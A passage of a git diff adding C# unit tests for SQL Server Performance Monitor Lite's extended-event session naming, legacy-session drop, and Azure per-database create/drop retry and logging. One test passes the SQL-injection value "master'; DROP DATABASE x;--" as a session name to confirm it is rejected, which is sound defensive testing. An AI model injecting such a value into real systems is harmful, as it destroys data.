+           database-scoped DDL is shared, built in AlwaysOnXeSessions: ON for the shared names, and OFF only for this
+           install's own fallback sessions, so an orphan of one of them stops at the next restart. The always-on pair is
+           unchanged. */
+        var deadlocks = SourceText("Lite/Services/RemoteCollectorService.Deadlocks.cs");
+        var blocked = SourceText("Lite/Services/RemoteCollectorService.BlockedProcessReport.cs");
+
+        Assert.Equal(1, CountOf(deadlocks, "STARTUP_STATE = ON"));
+        Assert.Equal(1, CountOf(blocked, "STARTUP_STATE = ON"));
+        Assert.DoesNotContain("STARTUP_STATE = OFF", deadlocks, StringComparison.Ordinal);
+        Assert.DoesNotContain("STARTUP_STATE = OFF", blocked, StringComparison.Ordinal);
+
+        foreach (var kind in new[] { AlwaysOnXeSessionKind.Deadlock, AlwaysOnXeSessionKind.BlockedProcess })
+        {
+            var shared = AlwaysOnXeSessions.BuildAzureCreateSql(kind, AlwaysOnXeSessions.SharedNameFor(kind));
+            Assert.Contains("STARTUP_STATE = ON", shared, StringComparison.Ordinal);
+            Assert.DoesNotContain("STARTUP_STATE = OFF", shared, StringComparison.Ordinal);
+        }
+    }
+
+    private static string SourceText(string relative, [System.Runtime.CompilerServices.CallerFilePath] string thisFile = "") =>
+        System.IO.File.ReadAllText(System.IO.Path.GetFullPath(System.IO.Path.Combine(System.IO.Path.GetDirectoryName(thisFile)!, "..", relative)));
+
+    [Fact]
+    public void BuildCreateAndStart_RefuseTheLegacyName_SoNothingCreatesIt()
+    {
+        Assert.Throws<ArgumentException>(() =>
+            LongQueryCompletionsCollector.BuildCreateSessionSql(LongQueryCompletionsCollector.LegacyXeSessionName, databaseScoped: false, 2_000_000));
+        Assert.Throws<ArgumentException>(() =>
+            LongQueryCompletionsCollector.BuildCreateSessionSql(LongQueryCompletionsCollector.LegacyXeSessionName, databaseScoped: true, 2_000_000));
+        Assert.Throws<ArgumentException>(() =>
+            LongQueryCompletionsCollector.BuildStartSessionSql(LongQueryCompletionsCollector.LegacyXeSessionName, databaseScoped: false));
+        Assert.Throws<ArgumentException>(() =>
+            LongQueryCompletionsCollector.BuildStartSessionSql(LongQueryCompletionsCollector.LegacyXeSessionName, databaseScoped: true));
+    }
+
+    [Fact]
+    public void BuildDrop_TakesThisInstallsNameOrTheLegacyOne_AndNothingElse()
+    {
+        /* The legacy name is accepted so the one-time drop of the session older versions left can use the same builder. */
+        var legacy = LongQueryCompletionsCollector.BuildDropSessionSql(LongQueryCompletionsCollector.LegacyXeSessionName, databaseScoped: false);
+        Assert.Contains("DROP EVENT SESSION [PerformanceMonitor_LongQueryCompletions] ON SERVER;", legacy, StringComparison.Ordinal);
+
+        Assert.Throws<ArgumentException>(() =>
+            LongQueryCompletionsCollector.BuildDropSessionSql("PerformanceMonitor_Lite_0A1B2C3D_LongQueryCompletions", databaseScoped: false));
+        Assert.Throws<ArgumentException>(() =>
+            LongQueryCompletionsCollector.BuildDropSessionSql("master'; DROP DATABASE x;--", databaseScoped: true));
+    }
+
+    [Theory]
+    [InlineData(false)]
+    [InlineData(true)]
+    public void TheLegacyDrop_NamesOnlyTheLegacySession_SoItLeavesEveryPerInstallSessionAlone(bool databaseScoped)
+    {
+        /* What an older install runs for the legacy name, at its own start or when its trace is off, on both scopes. */
+        var sql = LongQueryCompletionsCollector.BuildDropSessionSql(LongQueryCompletionsCollector.LegacyXeSessionName, databaseScoped);
+
+        /* Every name the statement mentions, in the existence check or in the DROP, is the legacy one, spelled out, and the
+           check is an equality: no pattern can reach a per-install session. */
+        var names = System.Text.RegularExpressions.Regex.Matches(sql, @"N'([^']*)'|\[([^\]]*)\]")
+            .Select(match => match.Groups[1].Success ? match.Groups[1].Value : match.Groups[2].Value)
+            .ToList();
+        Assert.Equal(2, names.Count);
+        Assert.All(names, name => Assert.Equal(LongQueryCompletionsCollector.LegacyXeSessionName, name));
+        Assert.Contains($"name = N'{LongQueryCompletionsCollector.LegacyXeSessionName}'", sql, StringComparison.Ordinal);
+        Assert.DoesNotContain("LIKE", sql, StringComparison.OrdinalIgnoreCase);
+        Assert.DoesNotContain("%", sql, StringComparison.Ordinal);
+
+        /* Neither product's per-install name is the legacy name or contains it, so an equality on the legacy name never matches. */
+        foreach (var product in new[] { LongQueryCompletionsCollector.LiteProduct, LongQueryCompletionsCollector.DarlingProduct })
+        {
+            var perInstall = LongQueryCompletionsCollector.XeSessionNameFor(product, "0a1b2c3d");
+            Assert.NotEqual(LongQueryCompletionsCollector.LegacyXeSessionName, perInstall);
+            Assert.DoesNotContain(perInstall, sql, StringComparison.Ordinal);
+            Assert.DoesNotContain(LongQueryCompletionsCollector.LegacyXeSessionName, perInstall, StringComparison.Ordinal);
+        }
+    }
+
+    [Fact]
+    public void BuildQuery_WithNoSessionName_Throws_RatherThanReadingTheLegacySession()
+    {
+        var context = new CollectorContext
+        {
+            ServerId = 42,
+            ServerName = "test-server",
+            CollectionTime = new DateTime(2026, 7, 18, 12, 0, 0, DateTimeKind.Utc),
+            Deltas = s_deltas,
+        };
+
+        Assert.Throws<InvalidOperationException>(() => LongQueryCompletionsCollector.Instance.BuildQuery(context));
+    }
+
+    [Fact]
+    public void BuildQuery_ReadsOnlyTheSessionOnTheContext()
+    {
+        var other = LongQueryCompletionsCollector.XeSessionNameFor(LongQueryCompletionsCollector.LiteProduct, OtherId);
+        var context = new CollectorContext
+        {
+            ServerId = 42,
+            ServerName = "test-server",
+            LongQuerySessionName = other,
+            CollectionTime = new DateTime(2026, 7, 18, 12, 0, 0, DateTimeKind.Utc),
+            Deltas = s_deltas,
+        };
+
+        var plan = LongQueryCompletionsCollector.Instance.BuildQuery(context);
+
+        Assert.Contains($"N'{other}'", plan.Text, StringComparison.Ordinal);
+        Assert.DoesNotContain(Session, plan.Text, StringComparison.Ordinal);
+        Assert.DoesNotContain("N'PerformanceMonitor_LongQueryCompletions'", plan.Text, StringComparison.Ordinal);
+    }
 }
diff --git a/Lite.Tests/LongQueryTraceLifecycleLiteTests.cs b/Lite.Tests/LongQueryTraceLifecycleLiteTests.cs
new file mode 100644
index 0000000000..eb5b9bc485
--- /dev/null
+++ b/Lite.Tests/LongQueryTraceLifecycleLiteTests.cs
@@ -0,0 +1,2556 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor Lite.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Concurrent;
+using System.Collections.Generic;
+using System.Globalization;
+using System.IO;
+using System.Linq;
+using System.Reflection;
+using System.Threading;
+using System.Threading.Tasks;
+using DuckDB.NET.Data;
+using Microsoft.Extensions.Logging;
+using PerformanceMonitor.Collectors;
+using PerformanceMonitorLite.Database;
+using PerformanceMonitorLite.Models;
+using PerformanceMonitorLite.Services;
+using PerformanceMonitorLite.Tests;
+using Xunit;
+
+namespace Lite.Tests;
+
+/// <summary>
+/// The long-query trace's session lifecycle on Azure SQL Database, where each database holds its own session: which
+/// databases a reconcile creates the session in and drops it from, and how a failed drop is retried. Each test drives
+/// the real reconcile with the database list and the per-database work replaced, so no server is needed.
+///
+/// <para>In <c>app-logger-statics</c> because two tests read <see cref="AppLogger"/>'s process-wide buffer, which
+/// another reader would drain from under them.</para>
+/// </summary>
+[Collection("app-logger-statics")]
+[Trait("Cost", "Slow")]
+public sealed class LongQueryTraceLifecycleLiteTests : IDisposable
+{
+    private readonly List<DuckDbInitializer> _initializers = [];
+
+    private const string Host = "lqtrace.database.windows.net";
+
+    private readonly string _tempDir;
+    private readonly string _configDir;
+    private readonly string _dbPath;
+
+    public LongQueryTraceLifecycleLiteTests()
+    {
+        _tempDir = Path.Combine(Path.GetTempPath(), "LiteTests_" + Guid.NewGuid().ToString("N")[..8]);
+        _configDir = Path.Combine(_tempDir, "config");
+        Directory.CreateDirectory(_configDir);
+        _dbPath = Path.Combine(_tempDir, "test.duckdb");
+    }
+
+    public void Dispose()
+    {
+        foreach (var initializer in _initializers)
+        {
+            initializer.Dispose();
+        }
+
+        try
+        {
+            if (Directory.Exists(_tempDir))
+                Directory.Delete(_tempDir, recursive: true);
+        }
+        catch
+        {
+            /* Best-effort cleanup */
+        }
+    }
+
+    private sealed class Rig
+    {
+        public required RemoteCollectorService Service { get; init; }
+        public required ServerManager Servers { get; init; }
+        public required ScheduleManager Schedules { get; init; }
+        public required ServerConnection Server { get; init; }
+        public required DuckDbInitializer DuckDb { get; init; }
+        public required int ServerId { get; init; }
+
+        /* The SQL error number a refusing database says, or null to refuse with a plain error that is no SQL error. */
+        public int? RefusalNumber { get; set; }
+
+        /* This install's id (null when the service was built without an id store), and every session name the long-query
+           work named: the name a create or a drop would have put in its statement (#4961). */
+        public string? InstallId { get; set; }
+        public List<string> Names { get; } = new();
+
+        /* What the logical server's master lists, before the registration's exclusions. */
+        public List<string> Listed { get; set; } = new() { "master", "alpha", "beta", "gamma" };
+        public List<(string Database, bool Create)> Calls { get; } = new();
+        public HashSet<string> Refuse { get; } = new(StringComparer.OrdinalIgnoreCase);
+
+        /* The drops of the session that versions before #4961 shared between installs (#4961), kept apart from the calls
+           above: the database each one named (empty on server scope), the databases that refuse it, and every call of
+           either kind in the order it ran, as (database, "legacy" | "create" | "drop"). */
+        public List<string> LegacyCalls { get; } = new();
+        public HashSet<string> RefuseLegacy { get; } = new(StringComparer.OrdinalIgnoreCase);
+        public List<(string Database, string Kind)> Sequence { get; } = new();
+        public Exception? ListFailure { get; set; }
+        public int ListCalls { get; set; }
+
+        /* The time each reconcile runs at. */
+        public DateTime Clock { get; set; } = new(2026, 10, 2, 12, 0, 0, DateTimeKind.Utc);
+
+        public Task ReconcileAsync() => Service.ReconcileLongQueryCompletionsXeSessionAsync(Server, CancellationToken.None);
+
+        public bool? Applied => Service.LongQueryTraceAppliedState(Server.Id);
+
+        public IEnumerable<string> Dropped => Calls.Where(c => !c.Create).Select(c => c.Database);
+
+        public IEnumerable<string> Created => Calls.Where(c => c.Create).Select(c => c.Database);
+    }
+
+    /// <summary>A logical-server registration (no database named) on an Azure SQL Database server.</summary>
+    private Task<Rig> BuildRigAsync(bool traceOn, params string[] excluded) =>
+        BuildRigAsync(
+            new ServerConnection
+            {
+                ServerName = Host,
+                DisplayName = "lqtrace-" + Guid.NewGuid().ToString("N")[..8],
+                ExcludedDatabases = excluded.ToList(),
+            },
+            traceOn);
+
+    /// <summary>A registration of one database of the same logical server, with read-only intent unless told otherwise.</summary>
+    private async Task<Rig> BuildDatabaseRigAsync(string database, bool traceOn, bool readOnlyIntent = true)
+    {
+        var rig = await BuildRigAsync(
+            new ServerConnection
+            {
+                ServerName = Host,
+                DisplayName = "lqtrace-" + database,
+                DatabaseName = database,
+                ReadOnlyIntent = readOnlyIntent,
+            },
+            traceOn);
+        rig.Listed = new List<string> { database };
+        return rig;
+    }
+
+    /// <summary>A server on an engine with no per-database sessions (edition 3, an on-premises server): its session is the server's.</summary>
+    private Task<Rig> BuildOnPremRigAsync(bool traceOn) =>
+        BuildRigAsync(
+            new ServerConnection { ServerName = "lqtrace-sql", DisplayName = "lqtrace-onprem-" + Guid.NewGuid().ToString("N")[..8] },
+            traceOn,
+            engineEdition: 3);
+
+    private async Task<Rig> BuildRigAsync(ServerConnection server, bool traceOn, int engineEdition = 5, bool withInstallId = true, InstallIdStore? idStore = null)
+    {
+        var duckDb = new DuckDbInitializer(_dbPath);
+        _initializers.Add(duckDb);
+        await duckDb.InitializeFromTemplateAsync();
+
+        var servers = new ServerManager(_configDir);
+        servers.AddServer(server);
+        servers.GetConnectionStatus(server.Id).SqlEngineEdition = engineEdition;
+
+        var schedules = new ScheduleManager(_configDir);
+        schedules.UpdateSchedule("long_query_completions", enabled: traceOn);
+
+        return WireRig(duckDb, servers, schedules, server, withInstallId, idStore);
+    }
+
+    /// <summary>
+    /// A new process over the same store and the same configuration: a new service, new in-memory state, and fresh call
+    /// lists. The record of a drop that an earlier service kept in the store is the only thing the new one inherits.
+    /// </summary>
+    private async Task<Rig> RestartAsync(Rig before)
+    {
+        var duckDb = new DuckDbInitializer(_dbPath);
+        _initializers.Add(duckDb);
+        await duckDb.InitializeAsync();
+
+        var after = WireRig(duckDb, before.Servers, before.Schedules, before.Server, withInstallId: true);
+        after.Listed = before.Listed.ToList();
+        return after;
+    }
+
+    private Rig WireRig(DuckDbInitializer duckDb, ServerManager servers, ScheduleManager schedules, ServerConnection server, bool withInstallId, InstallIdStore? idStore = null)
+    {
+        var rig = new Rig
+        {
+            Service = new RemoteCollectorService(
+                duckDb, servers, schedules,
+                installIdStore: idStore ?? (withInstallId ? new InstallIdStore(_configDir, "test-machine", null) : null)),
+            Servers = servers,
+            Schedules = schedules,
+            Server = server,
+            DuckDb = duckDb,
+            ServerId = RemoteCollectorService.GetServerId(server),
+        };
+        rig.InstallId = rig.Service.GetInstallId();
+
+        rig.Service.LongQueryTraceUtcNowForTests = () => rig.Clock;
+        rig.Service.LongQueryTraceListOverrideForTests = (registration, allDatabases, _) =>
+        {
+            rig.ListCalls++;
+            if (rig.ListFailure is { } failure)
+            {
+                throw failure;
+            }
+
+            return Task.FromResult(allDatabases
+                ? rig.Listed.ToList()
+                : rig.Listed.Where(d => !registration.ExcludedDatabases.Contains(d, StringComparer.OrdinalIgnoreCase)).ToList());
+        };
+
+        rig.Service.LongQueryTraceDatabaseOverrideForTests = (_, database, create, sessionName, _) =>
+        {
+            /* The legacy session's drop is its own list, so every assertion about this install's session stays as it was. */
+            if (string.Equals(sessionName, LongQueryCompletionsCollector.LegacyXeSessionName, StringComparison.Ordinal))
+            {
+                /* A create of it would show as a malformed entry, so every comparison against the databases fails. */
+                rig.LegacyCalls.Add(create ? database + " (create)" : database);
+                rig.Sequence.Add((database, create ? "legacy-create" : "legacy"));
+                return rig.RefuseLegacy.Contains(database)
+                    ? Task.FromException(new InvalidOperationException($"The legacy drop was refused in '{database}'."))
+                    : Task.CompletedTask;
+            }
+
+            rig.Sequence.Add((database, create ? "create" : "drop"));
+            rig.Calls.Add((database, create));
+            rig.Names.Add(sessionName);
+            var refusal = $"The {(create ? "create" : "drop")} was refused in {database}.";
+            return rig.Refuse.Contains(database)
+                ? Task.FromException(rig.RefusalNumber is { } number
+                    ? SqlExceptionFactory.Create(number, errorClass: 14, message: refusal)
+                    : new InvalidOperationException(refusal))
+                : Task.CompletedTask;
+        };
+
+        return rig;
+    }
+
+    /// <summary>Registers one database of the same logical server as its own server.</summary>
+    private static void RegisterSeparately(Rig rig, string database) =>
+        rig.Servers.AddServer(new ServerConnection { ServerName = Host, DisplayName = $"{Host} {database}", DatabaseName = database });
+
+    /// <summary>
+    /// Registers another server of the same logical server with its own trace setting: one database when
+    /// <paramref name="database"/> is given, otherwise a second registration of the logical server.
+    /// </summary>
+    private static ServerConnection RegisterOther(Rig rig, string? database, bool traceOn, bool readOnlyIntent, params string[] excluded)
+    {
+        var other = new ServerConnection
+        {
+            ServerName = Host,
+            DisplayName = $"{Host} {database ?? "server"} {(readOnlyIntent ? "read-only" : "read-write")}",
+            DatabaseName = database,
+            ReadOnlyIntent = readOnlyIntent,
+            ExcludedDatabases = excluded.ToList(),
+        };
+        rig.Servers.AddServer(other);
+        SetTrace(rig, other, traceOn);
+        return other;
+    }
+
+    private static void SetTrace(Rig rig, ServerConnection server, bool traceOn) =>
+        rig.Schedules.SetScheduleForServer(
+            server.Id,
+            new List<CollectorSchedule> { new() { Name = "long_query_completions", Enabled = traceOn } });
+
+    /* ── M1: a failed drop is retried, with a cap ── */
+
+    [Fact]
+    public async Task Off_AFailedListing_IsNotMarkedDone_AndTheNextCycleListsAgain()
+    {
+        var rig = await BuildRigAsync(traceOn: false);
+        rig.ListFailure = SqlExceptionFactory.Create(40613, 20, "Database 'master' is not currently available.");
+
+        await rig.ReconcileAsync();
+
+        Assert.Null(rig.Applied);
+
+        rig.ListFailure = null;
+        await rig.ReconcileAsync();
+
+        Assert.Equal(2, rig.ListCalls);
+        Assert.Equal(new[] { "alpha", "beta", "gamma" }, rig.Dropped);
+        Assert.False(rig.Applied);
+    }
+
+    [Fact]
+    public async Task Off_OneDatabaseRefusesTheDrop_TheOthersAreStillDropped_AndTheNextCycleRetries()
+    {
+        var level = AppLogger.MinimumLevel;
+        try
+        {
+            AppLogger.SetMinimumLevel(LogLevel.Warning);
+            AppLogger.DrainBufferedLines();
+
+            var rig = await BuildRigAsync(traceOn: false);
+            rig.Refuse.Add("beta");
+
+            await rig.ReconcileAsync();
+
+            Assert.Equal(new[] { "alpha", "beta", "gamma" }, rig.Dropped);
+            Assert.Null(rig.Applied);
+            Assert.Contains(AppLogger.DrainBufferedLines(), line =>
+                line.Contains(rig.Server.DisplayName, StringComparison.Ordinal)
+                && line.Contains("[beta]", StringComparison.Ordinal)
+                && line.Contains("WARN", StringComparison.Ordinal));
+
+            rig.Calls.Clear();
+            await rig.ReconcileAsync();
+
+            Assert.Contains("beta", rig.Dropped);
+        }
+        finally
+        {
+            AppLogger.SetMinimumLevel(level);
+        }
+    }
+
+    [Fact]
+    public async Task Off_TheFifthFailedPassInARow_IsMarkedDone_WithOneWarningThatNamesTheDatabase()
+    {
+        var level = AppLogger.MinimumLevel;
+        try
+        {
+            AppLogger.SetMinimumLevel(LogLevel.Warning);
+            AppLogger.DrainBufferedLines();
+
+            var rig = await BuildRigAsync(traceOn: false);
+            rig.Refuse.Add("beta");
+
+            for (var pass = 1; pass < LongQueryTraceDatabases.DropAttemptCap; pass++)
+            {
+                await rig.ReconcileAsync();
+                Assert.Null(rig.Applied);
+            }
+
+            await rig.ReconcileAsync();
+            Assert.False(rig.Applied);
+
+            /* Done: the next cycle does not try again. */
+            rig.Calls.Clear();
+            await rig.ReconcileAsync();
+            Assert.Empty(rig.Calls);
+
+            var giveUps = AppLogger.DrainBufferedLines()
+                .Where(line => line.Contains(rig.Server.DisplayName, StringComparison.Ordinal)
+                    && line.Contains("Stopped retrying", StringComparison.Ordinal))
+                .ToList();
+            var giveUp = Assert.Single(giveUps);
+            Assert.Contains("beta", giveUp, StringComparison.Ordinal);
+        }
+        finally
+        {
+            AppLogger.SetMinimumLevel(level);
+        }
+    }
+
+    /* ── After the cap: one attempt an hour ── */
+
+    [Fact]
+    public async Task Off_AfterTheCap_TriesAgainOnceAnHour_AtDebug_WithNoSecondWarning()
+    {
+        var level = AppLogger.MinimumLevel;
+        try
+        {
+            AppLogger.SetMinimumLevel(LogLevel.Debug);
+            AppLogger.DrainBufferedLines();
+
+            var rig = await BuildRigAsync(traceOn: false);
+            rig.Refuse.Add("beta");
+
+            for (var pass = 1; pass <= LongQueryTraceDatabases.DropAttemptCap; pass++)
+            {
+                await rig.ReconcileAsync();
+            }
+
+            Assert.False(rig.Applied);
+            var giveUp = Assert.Single(Lines(rig), line => line.Contains("Stopped retrying", StringComparison.Ordinal));
+            Assert.Contains(
+                "It tries again once an hour, and right away after a restart, a change to the trace's settings, or a change to"
+                + " another registration of these databases.",
+                giveUp,
+                StringComparison.Ordinal);
+            Assert.DoesNotContain("reconnects", giveUp, StringComparison.Ordinal);
+
+            /* Within the hour: nothing. */
+            rig.Calls.Clear();
+            rig.Clock += LongQueryTraceDatabases.RetryInterval - TimeSpan.FromMinutes(1);
+            await rig.ReconcileAsync();
+            Assert.Empty(rig.Calls);
+
+            /* An hour after the cap: one attempt, and the cycle after it runs nothing. */
+            rig.Clock += TimeSpan.FromMinutes(1);
+            await rig.ReconcileAsync();
+            await rig.ReconcileAsync();
+            Assert.Equal(new[] { "alpha", "beta", "gamma" }, rig.Dropped);
+
+            /* It fails again an hour later. Both failures log at Debug, and the cap's warning stays the only one. */
+            rig.Clock += LongQueryTraceDatabases.RetryInterval;
+            await rig.ReconcileAsync();
+            Assert.Equal(new[] { "alpha", "beta", "gamma", "alpha", "beta", "gamma" }, rig.Dropped);
+
+            var afterTheCap = Lines(rig);
+            Assert.DoesNotContain(afterTheCap, line => line.Contains("WARN", StringComparison.Ordinal));
+            Assert.Equal(2, afterTheCap.Count(line =>
+                line.Contains("DEBUG", StringComparison.Ordinal)
+                && line.Contains("The next attempt is in an hour.", StringComparison.Ordinal)));
+            Assert.Equal(2, afterTheCap.Count(line =>
+                line.Contains("DEBUG", StringComparison.Ordinal)
+                && line.Contains("[beta]", StringComparison.Ordinal)));
+            Assert.False(rig.Applied);
+        }
+        finally
+        {
+            AppLogger.SetMinimumLevel(level);
+        }
+    }
+
+    [Fact]
+    public async Task AfterTheCap_AnAttemptThatSucceeds_EndsTheHourlyAttempts()
+    {
+        var rig = await BuildRigAsync(traceOn: false);
+        rig.Refuse.Add("beta");
+
+        for (var pass = 1; pass <= LongQueryTraceDatabases.DropAttemptCap; pass++)
+        {
+            await rig.ReconcileAsync();
+        }
+
+        rig.Refuse.Clear();
+        rig.Calls.Clear();
+        rig.Clock += LongQueryTraceDatabases.RetryInterval;
+        await rig.ReconcileAsync();
+
+        Assert.Equal(new[] { "alpha", "beta", "gamma" }, rig.Dropped);
+
+        /* Done, with nothing left to retry: an hour later nothing runs. */
+        rig.Calls.Clear();
+        rig.Clock += LongQueryTraceDatabases.RetryInterval;
+        await rig.ReconcileAsync();
+        Assert.Empty(rig.Calls);
+    }
+
+    [Fact]
+    public async Task On_AfterTheCap_TheCyclesInBetween_KeepTheHourlyAttempt()
+    {
+        /* gamma is excluded, so the drop outside the set tries it, and gamma refuses. */
+        var rig = await BuildRigAsync(traceOn: true, "gamma");
+        rig.Refuse.Add("gamma");
+
+        for (var pass = 1; pass <= LongQueryTraceDatabases.DropAttemptCap; pass++)
+        {
+            await rig.ReconcileAsync();
+        }
+
+        Assert.True(rig.Applied);
+
+        /* Each cycle in the hour creates the session where it is missing and leaves the drop alone. A cycle that
+           skips the drop must not end the hourly attempt. */
+        rig.Calls.Clear();
+        for (var cycle = 1; cycle <= 3; cycle++)
+        {
+            rig.Clock += TimeSpan.FromMinutes(15);
+            await rig.ReconcileAsync();
+        }
+
+        Assert.Empty(rig.Dropped);
+        Assert.Equal(new[] { "alpha", "beta", "alpha", "beta", "alpha", "beta" }, rig.Created);
+
+        rig.Clock += TimeSpan.FromMinutes(15);
+        await rig.ReconcileAsync();
+        Assert.Equal(new[] { "gamma" }, rig.Dropped);
+    }
+
+    /// <summary>This rig's lines in the log buffer since the last drain.</summary>
+    private static List<string> Lines(Rig rig) =>
+        AppLogger.DrainBufferedLines()
+            .Where(line => line.Contains(rig.Server.DisplayName, StringComparison.Ordinal))
+            .ToList();
+
+    /* ── #4964: a create that fails again and again logs its first failure at Warning, the repeats at Debug ── */
+
+    private const string ReconcileLine = "Failed to reconcile long-query completion XE session";
+
+    /// <summary>The failure the reconcile kept for the collector's run, read from the service's own slot.</summary>
+    private static Exception? KeptFault(Rig rig)
+    {
+        var slot = typeof(RemoteCollectorService).GetField("_longQueryTraceFault", BindingFlags.Instance | BindingFlags.NonPublic)!;
+        var faults = (ConcurrentDictionary<string, Exception>)slot.GetValue(rig.Service)!;
+        return faults.TryGetValue(rig.Server.Id, out var fault) ? fault : null;
+    }
+
+    private static int Count(IEnumerable<string> lines, string level, string text) =>
+        lines.Count(line => line.Contains(level, StringComparison.Ordinal) && line.Contains(text, StringComparison.Ordinal));
+
+    [Fact]
+    public async Task On_ACreateThatFailsOnEveryCycle_LogsOneWarning_ThenDebug_AndRecordsTheFaultEachTime()
+    {
+        var level = AppLogger.MinimumLevel;
+        try
+        {
+            AppLogger.SetMinimumLevel(LogLevel.Debug);
+            AppLogger.DrainBufferedLines();
+
+            var rig = await BuildRigAsync(traceOn: true);
+            var lines = new List<string>();
+
+            rig.ListFailure = new InvalidOperationException("master is not readable, first.");
+            await rig.ReconcileAsync();
+            lines.AddRange(Lines(rig));
+            Assert.Equal(1, Count(lines, "WARN", ReconcileLine));
+            Assert.Contains("first.", KeptFault(rig)!.Message, StringComparison.Ordinal);
+
+            /* The same failure on the next two cycles: no new Warning, one Debug line each, and the fault is kept
+               again with the newest message, so the run is still classified from it. */
+            foreach (var attempt in new[] { "second.", "third." })
+            {
+                rig.ListFailure = new InvalidOperationException("master is not readable, " + attempt);
+                await rig.ReconcileAsync();
+                lines.AddRange(Lines(rig));
+                Assert.Contains(attempt, KeptFault(rig)!.Message, StringComparison.Ordinal);
+            }
+
+            Assert.Equal(1, Count(lines, "WARN", ReconcileLine));
+            Assert.Equal(2, Count(lines, "DEBUG", ReconcileLine));
+
+            /* The retry did not change: every cycle listed again. */
+            Assert.Equal(3, rig.ListCalls);
+        }
+        finally
+        {
+            AppLogger.SetMinimumLevel(level);
+        }
+    }
+
+    [Fact]
+    public async Task On_ACreateThatSucceedsAfterFailures_WarnsAgainWhenItFailsAfterwards()
+    {
+        var level = AppLogger.MinimumLevel;
+        try
+        {
+            AppLogger.SetMinimumLevel(LogLevel.Debug);
+            AppLogger.DrainBufferedLines();
+
+            var rig = await BuildRigAsync(traceOn: true);
+            var lines = new List<string>();
+
+            rig.ListFailure = new InvalidOperationException("master is not readable.");
+            await rig.ReconcileAsync();
+            await rig.ReconcileAsync();
+            lines.AddRange(Lines(rig));
+            Assert.Equal(1, Count(lines, "WARN", ReconcileLine));
+            Assert.Equal(1, Count(lines, "DEBUG", ReconcileLine));
+
+            /* A create that succeeds ends the run of failures, and the fault it kept. */
+            rig.ListFailure = null;
+            await rig.ReconcileAsync();
+            lines.AddRange(Lines(rig));
+            Assert.Null(KeptFault(rig));
+            Assert.True(rig.Applied);
+
+            /* The next failure is a new one: a Warning, and its repeat is Debug. */
+            rig.ListFailure = new InvalidOperationException("master is not readable again.");
+            await rig.ReconcileAsync();
+            await rig.ReconcileAsync();
+            lines.AddRange(Lines(rig));
+            Assert.Equal(2, Count(lines, "WARN", ReconcileLine));
+            Assert.Equal(2, Count(lines, "DEBUG", ReconcileLine));
+        }
+        finally
+        {
+            AppLogger.SetMinimumLevel(level);
+        }
+    }
+
+    [Fact]
+    public async Task Off_ADropFailureAfterCreateFailures_IsNotCountedAsARepeat()
+    {
+        var level = AppLogger.MinimumLevel;
+        try
+        {
+            AppLogger.SetMinimumLevel(LogLevel.Debug);
+            AppLogger.DrainBufferedLines();
+
+            var rig = await BuildRigAsync(traceOn: true);
+            var lines = new List<string>();
+
+            rig.ListFailure = new InvalidOperationException("master is not readable.");
+            await rig.ReconcileAsync();
+            await rig.ReconcileAsync();
+            lines.AddRange(Lines(rig));
+            Assert.Equal(1, Count(lines, "WARN", ReconcileLine));
+
+            /* Turned off, the drop is a different pass with its own failure: its first line is a Warning. The cap on the
+               drop side is its own (#4944). */
+            rig.Schedules.UpdateSchedule("long_query_completions", enabled: false);
+            await rig.ReconcileAsync();
+            lines.AddRange(Lines(rig));
+            Assert.Equal(1, Count(lines, "WARN", "Could not list the databases to drop the long-query trace session from"));
+        }
+        finally
+        {
+            AppLogger.SetMinimumLevel(level);
+        }
+    }
+
+    /* ── #4964: the per-database create lines of the shared Azure ensure ── */
+
+    private const string EnsureLine = "Failed to ensure long query completions XE session";
+
+    /// <summary>
+    /// The create is refused in every database on every cycle. The shared ensure logs a Warning for each refusing database
+    /// and an Error for the all-refused summary on the first cycle; the cycles after it log the same lines at Debug until a
+    /// create succeeds. The retry does not change: every cycle tries every database, and the fault stays set.
+    /// </summary>
+    [Fact]
+    public async Task On_ACreateRefusedInEveryDatabase_LogsOneWarningSetAndOneError_ThenDebug()
+    {
+        var level = AppLogger.MinimumLevel;
+        try
+        {
+            AppLogger.SetMinimumLevel(LogLevel.Debug);
+            AppLogger.DrainBufferedLines();
+
+            var rig = await BuildRigAsync(traceOn: true);
+            foreach (var database in new[] { "alpha", "beta", "gamma" })
+            {
+                rig.Refuse.Add(database);
+            }
+
+            const string allRefused = "Failed to ensure the long query completions XE session in all 3 database(s)";
+            var lines = new List<string>();
+
+            await rig.ReconcileAsync();
+            lines.AddRange(Lines(rig));
+            Assert.Equal(3, Count(lines, "WARN", EnsureLine));
+            Assert.Equal(1, Count(lines, "ERROR", allRefused));
+
+            await rig.ReconcileAsync();
+            await rig.ReconcileAsync();
+            lines.AddRange(Lines(rig));
+
+            Assert.Equal(3, Count(lines, "WARN", EnsureLine));
+            Assert.Equal(1, Count(lines, "ERROR", allRefused));
+            Assert.Equal(6, Count(lines, "DEBUG", EnsureLine));
+            Assert.Equal(2, Count(lines, "DEBUG", allRefused));
+
+            /* The retry and the fault did not change: three cycles tried all three databases, and the run is still told. */
+            Assert.Equal(9, rig.Created.Count());
+            Assert.NotNull(KeptFault(rig));
+        }
+        finally
+        {
+            AppLogger.SetMinimumLevel(level);
+        }
+    }
+
+    /// <summary>
+    /// A create that succeeds ends the run of refusals, so the next refusal warns again: the Warning set and the Error
+    /// come back once, and their repeats are Debug.
+    /// </summary>
+    [Fact]
+    public async Task On_ACreateRefusedAgainAfterItSucceeded_WarnsAgain()
+    {
+        var level = AppLogger.MinimumLevel;
+        try
+        {
+            AppLogger.SetMinimumLevel(LogLevel.Debug);
+            AppLogger.DrainBufferedLines();
+
+            var rig = await BuildRigAsync(traceOn: true);
+            foreach (var database in new[] { "alpha", "beta", "gamma" })
+            {
+                rig.Refuse.Add(database);
+            }
+
+            const string allRefused = "Failed to ensure the long query completions XE session in all 3 database(s)";
+            var lines = new List<string>();
+
+            await rig.ReconcileAsync();
+            await rig.ReconcileAsync();
+            lines.AddRange(Lines(rig));
+            Assert.Equal(3, Count(lines, "WARN", EnsureLine));
+            Assert.Equal(3, Count(lines, "DEBUG", EnsureLine));
+
+            rig.Refuse.Clear();
+            await rig.ReconcileAsync();
+            lines.AddRange(Lines(rig));
+            Assert.Null(KeptFault(rig));
+
+            foreach (var database in new[] { "alpha", "beta", "gamma" })
+            {
+                rig.Refuse.Add(database);
+            }
+
+            await rig.ReconcileAsync();
+            await rig.ReconcileAsync();
